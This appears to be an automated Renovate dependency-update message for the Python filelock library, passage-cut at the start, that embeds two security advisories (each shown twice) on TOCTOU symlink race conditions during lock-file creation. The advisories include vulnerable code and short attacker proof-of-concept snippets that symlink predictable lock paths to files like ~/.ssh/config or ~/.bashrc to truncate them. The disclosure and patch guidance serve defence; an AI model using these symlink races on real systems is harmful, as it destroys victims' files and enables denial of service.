https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7)

<!-- Release notes generated using configuration in .github/release.yaml
at main -->

#### What's Changed

- asyncio: detect cross-instance reentrant deadlocks before the poll
loop by [@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586)
- 🐛 fix(soft\_rw): evict non-regular write marker without reading it by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588)
- \_util: drop the dead st\_mtime=0 short-circuit in
raise\_on\_not\_writable\_file by
[@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589)

**Full Changelog**:
<tox-dev/filelock@3.29.6...3.29.7>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 16, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6`
→ `3.29.7` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.29.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.29.6/3.29.7?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

